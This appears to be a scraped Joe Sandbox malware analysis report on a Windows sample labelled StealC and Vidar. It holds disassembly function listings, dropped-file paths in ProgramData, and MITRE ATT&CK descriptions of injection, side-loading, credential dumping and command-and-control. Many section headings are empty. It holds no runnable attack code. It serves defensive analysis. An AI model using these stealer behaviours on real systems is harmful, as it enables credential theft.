Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8yl
API String ID: 1521942269-2350912383
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: ccc213944ca36cf431c19676ac03739523b34c55c0a5bde584fb3a630ce9d2d5
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: 09F0623660122467EB104D6ABE85B4336DC9B4167DF1403B1EE38CB7E1E621CC0096E1

Function 6C7BAF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C7BAF78

Part of subcall function 6C71ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C71ACE2
Part of subcall function 6C71ACC0: malloc.MOZGLUE(00000001), ref: 6C71ACEC
Part of subcall function 6C71ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C71AD02
Part of subcall function 6C71ACC0: TlsGetValue.KERNEL32 ref: 6C71AD3C
Part of subcall function 6C71ACC0: calloc.MOZGLUE(00000001,?), ref: 6C71AD8C
Part of subcall function 6C71ACC0: PR_Unlock.NSS3 ref: 6C71ADC0
Part of subcall function 6C71ACC0: PR_Unlock.NSS3 ref: 6C71AE8C
Part of subcall function 6C71ACC0: free.MOZGLUE(?), ref: 6C71AEAB

memcpy.VCRUNTIME140(6C883084,6C8802AC,00000090), ref: 6C7BAF94

Strings

SSL, xrefs: 6C7BAF73

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 2cdfb087299ae674c854084b6cc02cbc3bb02e47b1a1b1d55f1e891ea392c48a
Instruction ID: c87b4fad2b9f69107a4b077c4012d311ca75294374fb852fd890acb7a667825f
Opcode Fuzzy Hash: 2cdfb087299ae674c854084b6cc02cbc3bb02e47b1a1b1d55f1e891ea392c48a
Instruction Fuzzy Hash: 29215FB2617A489EDA30DF59EB87312BAB4B30324D7109528D9182FF25D3316C08EFD6

Function 6C72C810 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36timeCOMMON

Download Yara Rule

APIs

CERT_CheckCertValidTimes.NSS3(?,00000000,-00000078,00000000,?,00000000,]rl,6C726499,-00000078,00000000,?,?,]rl,?,6C725DEF,?), ref: 6C72C821

Part of subcall function 6C721DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C721E0B
Part of subcall function 6C721DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C721E24

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,00000000,?,?,]rl,?,6C725DEF,?,?,?), ref: 6C72C857

Strings

]rl, xrefs: 6C72C810

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Choice_DecodeTimeUtil$CertCheckDestroyPublicTimesValid
String ID: ]rl
API String ID: 221937774-372673170
Opcode ID: 8b4586f9bf7fe022698438743c8cc7a435e02df9751e3daf09b6801118977999
Instruction ID: 124401971e1ea7bbaf243986170ed3dab9bff84b8a4ab8d30f173b123bda2153
Opcode Fuzzy Hash: 8b4586f9bf7fe022698438743c8cc7a435e02df9751e3daf09b6801118977999
Instruction Fuzzy Hash: 19F0A773A0011477FF0129666E0DAFB3659DF9115AF040031FE18D7651F72ADD2583E2

Function 6C710F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C710936,FFFFE8AE,?,6C6A16B7,00000000,?,6C710936,00000000,?,6C6A204A), ref: 6C710F1B

Part of subcall function 6C711370: GetSystemInfo.KERNEL32(?,?,?,?,6C710936,?,6C710F20,6C710936,FFFFE8AE,?,6C6A16B7,00000000,?,6C710936,00000000), ref: 6C71138F

PR_NewLogModule.NSS3(clock,6C710936,FFFFE8AE,?,6C6A16B7,00000000,?,6C710936,00000000,?,6C6A204A), ref: 6C710F25

Part of subcall function 6C711110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C710936,00000001,00000040), ref: 6C711130
Part of subcall function 6C711110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C710936,00000001,00000040), ref: 6C711142
Part of subcall function 6C711110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C710936,00000001), ref: 6C711167

Strings

clock, xrefs: 6C710F20

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 9e395116842d690f6e07968da299a12e7bff8153f76b61c41bf9ecd22497dd73
Instruction ID: 11d1e50c248fd97a9477256bc98fa28a662d5a10571324cc90d893575fe2a765
Opcode Fuzzy Hash: 9e395116842d690f6e07968da299a12e7bff8153f76b61c41bf9ecd22497dd73
Instruction Fuzzy Hash: A5D0223160818417C720226B9D4CB9AF2ACC7D32BDF040832E00805E000A6890EAF2A5

Function 6C780DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C780DF5
TlsGetValue.KERNEL32 ref: 6C780E2D
TlsGetValue.KERNEL32 ref: 6C780E58
TlsGetValue.KERNEL32 ref: 6C780E84

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 3ebd07812a1cb957c0d4eed2b5a7818369e084c981de57de7bebd7c7a3619d20
Instruction ID: edad3f3b26b55f9270461a49f1118ff8e0e3c394ac8a80578e80772e65f95a6f
Opcode Fuzzy Hash: 3ebd07812a1cb957c0d4eed2b5a7818369e084c981de57de7bebd7c7a3619d20
Instruction Fuzzy Hash: 2D31B2706477848FDB21BF7DC68825A7BB8BF0630CF054679D99887A21EB348495CBE1

Function 6C780F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C722AF5,?,?,?,?,?,6C720A1B,00000000), ref: 6C780F1A
malloc.MOZGLUE(00000001), ref: 6C780F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C780F42
TlsGetValue.KERNEL32 ref: 6C780F5B

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 7b4586a378124948a01588446b89f88b72e4f8a334767aaa4c0e37245e799c4c
Instruction ID: 6986d69f1fde2087a7698d22d4a6a27d7e7197b92981eea925a8154d7152d815
Opcode Fuzzy Hash: 7b4586a378124948a01588446b89f88b72e4f8a334767aaa4c0e37245e799c4c
Instruction Fuzzy Hash: BE0128B1A032905BE7202B7E9F0C9667AACEF5325DF055531ED1CC3A21EB30C814C2E2

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFCBKFHJJJKKFHIDAAKF

C:\ProgramData\AKKEHIECFCAAFIEBGIDAAEBFCB

C:\ProgramData\ECFCBKJDBFIJKFHIIDAAKKKKFC

C:\ProgramData\FIDAFIEB

C:\ProgramData\GIDAECGDAFBAAAAAECGI

C:\ProgramData\HDAFBGIJ

C:\ProgramData\IIEHCFIDHIDGIDHJEHID

C:\ProgramData\chrome.dll

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre